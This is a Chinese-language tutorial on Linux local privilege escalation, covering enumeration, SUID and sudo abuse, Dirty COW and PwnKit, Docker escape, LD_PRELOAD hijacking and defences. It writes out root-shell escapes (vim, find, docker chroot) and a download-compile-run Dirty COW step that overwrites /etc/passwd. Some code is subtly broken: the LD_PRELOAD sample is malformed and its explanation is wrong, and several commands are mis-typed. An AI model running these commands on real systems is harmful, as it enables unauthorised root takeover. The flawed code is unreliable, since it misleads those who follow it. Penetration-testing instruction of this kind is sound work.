Linux 本地权限提升漏洞利用技术

黄梓淳

May 07, 2026

Linux 本地权限提升，即 Local Privilege Escalation（LPE），是指攻击者在已获得低权限用户（如 www-data 或 nobody）访问权限后，通过利用系统漏洞、配置错误或特权机制缺陷，将权限提升至 root 用户的过程。这种技术在渗透测试和红队演练中占据核心地位，因为它往往是攻破服务器的关键一步。根据 W3Techs 和 Statista 的统计数据，Linux 系统在全球服务器和云环境中的占比超过 70%，这使得 LPE 成为网络安全领域关注的焦点。本文旨在为安全研究者、渗透测试员和系统管理员提供全面指导，帮助他们理解和应对 LPE 威胁。本文的目标是系统阐述 Linux LPE 的原理、枚举方法、利用技术和防御策略。读者对象主要是具备基础 Linux 操作经验的安全从业者。我们强调，所有内容仅用于合法授权的渗透测试和安全研究，严禁用于非法活动。文章结构从基础知识入手，逐步深入枚举、信息收集、常见利用技术分类、实战案例、防御措施，直至工具资源和结论。

1　Linux 权限提升基础知识

Linux 权限模型基于用户、组和其他三类主体的读（r）、写（w）、执行（x）权限，每个权限以位表示。这种 rwx 模型通过文件权限位（如 ls -l 显示的 drwxr-xr-x）控制访问。UID 为 0 的 root 用户拥有最高特权，能绕过大多数限制。SUID（Set User ID）和 SGID（Set Group ID）位是关键机制，当普通用户执行带有 SUID 位的二进制文件时，会以文件所有者（通常 root）的身份运行，从而引入潜在风险。

本地权限提升常见于已获取低权限 shell 的场景，例如 Web 应用漏洞导致的 www-data shell，此时目标是从普通用户提升至 root。枚举是第一步，使用自动化工具能高效发现弱点。例如 LinPEAS 是一个综合脚本，能扫描 SUID 文件、内核版本和配置错误；LinEnum 专注于脚本式枚举；linux-exploit-suggester 则根据内核版本建议潜在 Exploit。这些工具的下载链接分别指向 github.com/carlospolop/PEASS-ng、github.com/rebootuser/LinEnum 和 github.com/mzet-/linux-exploit-suggester。

2　枚举与信息收集技术

系统信息枚举是 LPE 的起点。通过 uname -a 可以获取内核版本，例如输出 Linux hostname 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64 GNU/Linux，这直接揭示潜在内核漏洞。cat /etc/os-release 显示发行版如 Ubuntu 20.04，cat /etc/passwd 列出用户列表，而 /etc/shadow 存储加密密码（需 root 读取）。

SUID/GUID 二进制文件枚举至关重要。命令 find / -perm -u=s -type f 2>/dev/null 搜索所有带 SUID 位的可执行文件，输出如 /usr/bin/sudo；find / -perm -4000 -o -perm -2000 2>/dev/null 则覆盖 SUID（4000）和 SGID（2000）位。这些文件若配置不当，可直接滥用。

可写文件和目录枚举帮助发现覆盖机会。find /etc -writable 2>/dev/null 列出 /etc 下可写路径，如 /etc/passwd；find /var/www -type d (-perm -o+w -o -perm -g+w -o -perm -u+w) 2>/dev/null 检查 Web 目录的写权限，这些常用于替换脚本。
Cron 任务和服务枚举揭示定时任务弱点。cat /etc/crontab 查看全局 crontab，ls -la /etc/cron* /var/spool/cron* 检查 cron 目录，systemctl list-timers 列出 systemd 定时器。若这些任务以 root 运行且脚本可写，即可替换为恶意 payload。

3 常见权限提升漏洞利用技术分类

3.1 SUID 二进制滥用

SUID 二进制滥用是最经典的 LPE 向量，许多系统工具如 vim、find 和 less 带有 SUID 位。以 vim 为例，执行 vim.tiny 进入编辑器，然后输入 :!/bin/sh 即可逃逸至 root shell。这个命令的解读：：表示 vim 命令模式，！执行 shell 命令，/bin/sh 启动交互 shell。由于 vim 运行在 root 上下文中，shell 继承 root 权限。GTFOBins（gtfobins.github.io）汇集了数百种 SUID 滥用技巧，如 find 的 exec 参数注入。
自定义 SUID 程序更危险，若开发者未正确 drop 权限，低权限用户可注入代码执行 root 操作。

3.2 内核漏洞利用

内核漏洞如 Dirty COW（CVE-2016-5195）影响 2.6.22 至 4.8.3 版本，利用 race condition 实现写时复制（Copy-On-Write）绕过。Exploit 通过 github.com/dirtycow/dirtycow.github.io 下载 PoC，编译后运行即可覆盖 /etc/passwd 获 root shell。难度中等，需要精确内核匹配。
CVE-2021-4034（PwnKit）针对 pkexec，影响 Polkit 框架。通过精心构造的环境变量，触发缓冲区溢出获 root。搜索工具如 searchsploit pkexec 或 exploit-db 快速定位 PoC。

3.3 配置文件误配利用

sudo 权限滥用常见于规则宽松。sudo -l 枚举可用命令，如 (root) NOPASSWD: /usr/bin/vim，若可见则 sudo vim -c '!/bin/sh' 逃逸：-c 执行 vim 命令，!/bin/sh 弹出 root shell。
Wildcard 注入利用 sudoedit * 规则，编辑任意文件获 root 写权限。Cron 任务覆盖则替换可写 root 脚本，如 /etc/cron.hourly/myscript。

3.4 服务与进程滥用

Docker 逃逸利用容器挂载。docker run -v /:/mnt –rm -it alpine chroot /mnt sh 将宿主机 / 挂载至容器 /mnt，chroot 切换根目录获宿主机 shell。这个命令解读：-v /:/mnt 绑定挂载，alpine 是轻量镜像，chroot /mnt sh 以 /mnt 为新根启动 sh。
systemd 服务劫持针对可写服务文件，Polkit/PKExec 复用 PwnKit。

3.5 其他高级技术

LD_PRELOAD 注入劫持库加载。编写 exploit.c：echo 'int main(){setuid(0);system(/bin/sh);}' > exploit.c，其中 setuid(0) 降为 root，system(/bin/sh) 执行 shell。然后 gcc -shared -fPIC -o exploit.so exploit.c 编译为共享库，LD_PRELOAD=./exploit.so SUDO_COMMAND=whoami sudo whoami 预加载库，覆盖 whoami 前运行 payload 获 root。
PATH 劫持置恶意二进制于 PATH 前，NFS/Capabilities 滥用 no_root_squash 或 cap_setuid。

4 实战案例分析

实战案例一：Dirty COW 在 Ubuntu 16.04 上。搭建环境用 VirtualBox 安装 Ubuntu 16.04，获取低权限 shell 后枚举 uname -a 确认内核 4.4。下载 PoC：wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c，gcc -pthread dirtyc0w.c -o dirtyc0w，./dirtyc0w ./password passwd 覆盖 /etc/passwd 添加 root 用户，su 新用户获 shell。
案例二：Sudo 规则滥用。sudo -l 显示 (ALL) NOPASSWD: /usr/bin/find，执行 find . -exec /bin/sh ; -quit 利用 exec 参数逃逸。
案例三：Ubuntu 22.04 路径。枚举 LinPEAS 发现 pkexec CVE-2021-4034，直接编译 PwnKit PoC 提权。

5 防御与缓解措施

系统加固从移除不必要 SUID 开始，如 chmod u-s /usr/bin/find 清除 find 的 SUID 位。及时更新内核：apt update && apt upgrade linux-image-generic 修补 Dirty COW 等漏洞。启用 AppArmor/SELinux：aa-enforce /etc/apparmor.d/* 强制策略。
监控用 auditd 配置规则跟踪 sudo 和 SUID 执行，Falco/OSSEC 实时警报。自动化扫描 Lynis 和 OpenSCAP 定期检查。

6 工具与资源汇总

一键枚举用 wget https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh；chmod +x linpeas.sh && ./linpeas.sh 运行，脚本自动输出彩色报告。资源包括 Exploit DB（exploit-db.com）、GTFOBins（gtfobins.github.io）和 Linux Privilege Escalation 参考（payloads.github.io/2018/01/19/Linux-Privilege-Escalation）。

7 结论

Linux LPE 涵盖 SUID 滥用、内核 Exploit、配置误配等多维度，枚举是成功关键。内核迭代迅速，需持续学习。防御优先，Blue Team 应注重最小权限和监控。行动号召：搭建 Vulnhub 或 Metasploitable 靶机实践。

8 附录

常用 Payload 如 vim :!/bin/sh。内核 Exploit 对应表见 Exploit DB。参考文献：GTFOBins、PEASS-ng。更新日志：2024-01 初版。